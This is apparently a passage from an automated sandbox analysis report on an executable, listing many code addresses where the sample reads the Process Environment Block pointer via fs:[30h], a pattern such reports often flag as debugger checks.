Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01662349 mov eax, dword ptr fs:[00000030h]	4_2_01662349
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AA352 mov eax, dword ptr fs:[00000030h]	4_2_016AA352
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01688350 mov ecx, dword ptr fs:[00000030h]	4_2_01688350
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166035C mov eax, dword ptr fs:[00000030h]	4_2_0166035C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166035C mov eax, dword ptr fs:[00000030h]	4_2_0166035C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166035C mov eax, dword ptr fs:[00000030h]	4_2_0166035C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166035C mov ecx, dword ptr fs:[00000030h]	4_2_0166035C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166035C mov eax, dword ptr fs:[00000030h]	4_2_0166035C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166035C mov eax, dword ptr fs:[00000030h]	4_2_0166035C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DC310 mov ecx, dword ptr fs:[00000030h]	4_2_015DC310
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B8324 mov eax, dword ptr fs:[00000030h]	4_2_016B8324
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B8324 mov ecx, dword ptr fs:[00000030h]	4_2_016B8324
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B8324 mov eax, dword ptr fs:[00000030h]	4_2_016B8324
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B8324 mov eax, dword ptr fs:[00000030h]	4_2_016B8324
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A30B mov eax, dword ptr fs:[00000030h]	4_2_0161A30B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A30B mov eax, dword ptr fs:[00000030h]	4_2_0161A30B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A30B mov eax, dword ptr fs:[00000030h]	4_2_0161A30B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01600310 mov ecx, dword ptr fs:[00000030h]	4_2_01600310
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E83C0 mov eax, dword ptr fs:[00000030h]	4_2_015E83C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E83C0 mov eax, dword ptr fs:[00000030h]	4_2_015E83C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E83C0 mov eax, dword ptr fs:[00000030h]	4_2_015E83C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E83C0 mov eax, dword ptr fs:[00000030h]	4_2_015E83C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA3C0 mov eax, dword ptr fs:[00000030h]	4_2_015EA3C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA3C0 mov eax, dword ptr fs:[00000030h]	4_2_015EA3C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA3C0 mov eax, dword ptr fs:[00000030h]	4_2_015EA3C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA3C0 mov eax, dword ptr fs:[00000030h]	4_2_015EA3C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA3C0 mov eax, dword ptr fs:[00000030h]	4_2_015EA3C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA3C0 mov eax, dword ptr fs:[00000030h]	4_2_015EA3C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016163FF mov eax, dword ptr fs:[00000030h]	4_2_016163FF
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169C3CD mov eax, dword ptr fs:[00000030h]	4_2_0169C3CD
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016663C0 mov eax, dword ptr fs:[00000030h]	4_2_016663C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE3F0 mov eax, dword ptr fs:[00000030h]	4_2_015FE3F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE3F0 mov eax, dword ptr fs:[00000030h]	4_2_015FE3F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE3F0 mov eax, dword ptr fs:[00000030h]	4_2_015FE3F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E3DB mov eax, dword ptr fs:[00000030h]	4_2_0168E3DB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E3DB mov eax, dword ptr fs:[00000030h]	4_2_0168E3DB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E3DB mov ecx, dword ptr fs:[00000030h]	4_2_0168E3DB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168E3DB mov eax, dword ptr fs:[00000030h]	4_2_0168E3DB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F03E9 mov eax, dword ptr fs:[00000030h]	4_2_015F03E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016843D4 mov eax, dword ptr fs:[00000030h]	4_2_016843D4
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016843D4 mov eax, dword ptr fs:[00000030h]	4_2_016843D4
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D8397 mov eax, dword ptr fs:[00000030h]	4_2_015D8397
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D8397 mov eax, dword ptr fs:[00000030h]	4_2_015D8397
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D8397 mov eax, dword ptr fs:[00000030h]	4_2_015D8397
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DE388 mov eax, dword ptr fs:[00000030h]	4_2_015DE388
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DE388 mov eax, dword ptr fs:[00000030h]	4_2_015DE388
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DE388 mov eax, dword ptr fs:[00000030h]	4_2_015DE388
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160438F mov eax, dword ptr fs:[00000030h]	4_2_0160438F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160438F mov eax, dword ptr fs:[00000030h]	4_2_0160438F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6259 mov eax, dword ptr fs:[00000030h]	4_2_015E6259
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DA250 mov eax, dword ptr fs:[00000030h]	4_2_015DA250
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274 mov eax, dword ptr fs:[00000030h]	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01668243 mov eax, dword ptr fs:[00000030h]	4_2_01668243
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01668243 mov ecx, dword ptr fs:[00000030h]	4_2_01668243
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D826B mov eax, dword ptr fs:[00000030h]	4_2_015D826B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B625D mov eax, dword ptr fs:[00000030h]	4_2_016B625D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169A250 mov eax, dword ptr fs:[00000030h]	4_2_0169A250
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169A250 mov eax, dword ptr fs:[00000030h]	4_2_0169A250
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4260 mov eax, dword ptr fs:[00000030h]	4_2_015E4260
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4260 mov eax, dword ptr fs:[00000030h]	4_2_015E4260
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4260 mov eax, dword ptr fs:[00000030h]	4_2_015E4260
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D823B mov eax, dword ptr fs:[00000030h]	4_2_015D823B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA2C3 mov eax, dword ptr fs:[00000030h]	4_2_015EA2C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA2C3 mov eax, dword ptr fs:[00000030h]	4_2_015EA2C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA2C3 mov eax, dword ptr fs:[00000030h]	4_2_015EA2C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA2C3 mov eax, dword ptr fs:[00000030h]	4_2_015EA2C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA2C3 mov eax, dword ptr fs:[00000030h]	4_2_015EA2C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B62D6 mov eax, dword ptr fs:[00000030h]	4_2_016B62D6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F02E1 mov eax, dword ptr fs:[00000030h]	4_2_015F02E1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F02E1 mov eax, dword ptr fs:[00000030h]	4_2_015F02E1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F02E1 mov eax, dword ptr fs:[00000030h]	4_2_015F02E1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016762A0 mov eax, dword ptr fs:[00000030h]	4_2_016762A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016762A0 mov ecx, dword ptr fs:[00000030h]	4_2_016762A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016762A0 mov eax, dword ptr fs:[00000030h]	4_2_016762A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016762A0 mov eax, dword ptr fs:[00000030h]	4_2_016762A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016762A0 mov eax, dword ptr fs:[00000030h]	4_2_016762A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016762A0 mov eax, dword ptr fs:[00000030h]	4_2_016762A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01660283 mov eax, dword ptr fs:[00000030h]	4_2_01660283
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01660283 mov eax, dword ptr fs:[00000030h]	4_2_01660283
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01660283 mov eax, dword ptr fs:[00000030h]	4_2_01660283
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E284 mov eax, dword ptr fs:[00000030h]	4_2_0161E284
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E284 mov eax, dword ptr fs:[00000030h]	4_2_0161E284
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F02A0 mov eax, dword ptr fs:[00000030h]	4_2_015F02A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F02A0 mov eax, dword ptr fs:[00000030h]	4_2_015F02A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161656A mov eax, dword ptr fs:[00000030h]	4_2_0161656A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161656A mov eax, dword ptr fs:[00000030h]	4_2_0161656A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161656A mov eax, dword ptr fs:[00000030h]	4_2_0161656A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E8550 mov eax, dword ptr fs:[00000030h]	4_2_015E8550
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E8550 mov eax, dword ptr fs:[00000030h]	4_2_015E8550
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E53E mov eax, dword ptr fs:[00000030h]	4_2_0160E53E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E53E mov eax, dword ptr fs:[00000030h]	4_2_0160E53E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E53E mov eax, dword ptr fs:[00000030h]	4_2_0160E53E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E53E mov eax, dword ptr fs:[00000030h]	4_2_0160E53E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E53E mov eax, dword ptr fs:[00000030h]	4_2_0160E53E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01676500 mov eax, dword ptr fs:[00000030h]	4_2_01676500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535 mov eax, dword ptr fs:[00000030h]	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535 mov eax, dword ptr fs:[00000030h]	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535 mov eax, dword ptr fs:[00000030h]	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535 mov eax, dword ptr fs:[00000030h]	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535 mov eax, dword ptr fs:[00000030h]	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535 mov eax, dword ptr fs:[00000030h]	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4500 mov eax, dword ptr fs:[00000030h]	4_2_016B4500
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0160E5E7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C5ED mov eax, dword ptr fs:[00000030h]	4_2_0161C5ED
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C5ED mov eax, dword ptr fs:[00000030h]	4_2_0161C5ED
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E65D0 mov eax, dword ptr fs:[00000030h]	4_2_015E65D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E5CF mov eax, dword ptr fs:[00000030h]	4_2_0161E5CF
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E5CF mov eax, dword ptr fs:[00000030h]	4_2_0161E5CF
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0161A5D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0161A5D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E25E0 mov eax, dword ptr fs:[00000030h]	4_2_015E25E0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016605A7 mov eax, dword ptr fs:[00000030h]	4_2_016605A7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016605A7 mov eax, dword ptr fs:[00000030h]	4_2_016605A7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016605A7 mov eax, dword ptr fs:[00000030h]	4_2_016605A7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016045B1 mov eax, dword ptr fs:[00000030h]	4_2_016045B1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016045B1 mov eax, dword ptr fs:[00000030h]	4_2_016045B1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E2582 mov eax, dword ptr fs:[00000030h]	4_2_015E2582
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E2582 mov ecx, dword ptr fs:[00000030h]	4_2_015E2582
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01614588 mov eax, dword ptr fs:[00000030h]	4_2_01614588
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E59C mov eax, dword ptr fs:[00000030h]	4_2_0161E59C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D645D mov eax, dword ptr fs:[00000030h]	4_2_015D645D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166C460 mov ecx, dword ptr fs:[00000030h]	4_2_0166C460
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160A470 mov eax, dword ptr fs:[00000030h]	4_2_0160A470
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160A470 mov eax, dword ptr fs:[00000030h]	4_2_0160A470
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160A470 mov eax, dword ptr fs:[00000030h]	4_2_0160A470
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E443 mov eax, dword ptr fs:[00000030h]	4_2_0161E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160245A mov eax, dword ptr fs:[00000030h]	4_2_0160245A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169A456 mov eax, dword ptr fs:[00000030h]	4_2_0169A456
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01666420 mov eax, dword ptr fs:[00000030h]	4_2_01666420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A430 mov eax, dword ptr fs:[00000030h]	4_2_0161A430
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01618402 mov eax, dword ptr fs:[00000030h]	4_2_01618402
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01618402 mov eax, dword ptr fs:[00000030h]	4_2_01618402
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01618402 mov eax, dword ptr fs:[00000030h]	4_2_01618402
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DC427 mov eax, dword ptr fs:[00000030h]	4_2_015DC427
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DE420 mov eax, dword ptr fs:[00000030h]	4_2_015DE420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DE420 mov eax, dword ptr fs:[00000030h]	4_2_015DE420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DE420 mov eax, dword ptr fs:[00000030h]	4_2_015DE420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E04E5 mov ecx, dword ptr fs:[00000030h]	4_2_015E04E5
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016144B0 mov ecx, dword ptr fs:[00000030h]	4_2_016144B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166A4B0 mov eax, dword ptr fs:[00000030h]	4_2_0166A4B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169A49A mov eax, dword ptr fs:[00000030h]	4_2_0169A49A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E64AB mov eax, dword ptr fs:[00000030h]	4_2_015E64AB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0750 mov eax, dword ptr fs:[00000030h]	4_2_015E0750
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161674D mov esi, dword ptr fs:[00000030h]	4_2_0161674D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161674D mov eax, dword ptr fs:[00000030h]	4_2_0161674D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161674D mov eax, dword ptr fs:[00000030h]	4_2_0161674D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E8770 mov eax, dword ptr fs:[00000030h]	4_2_015E8770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
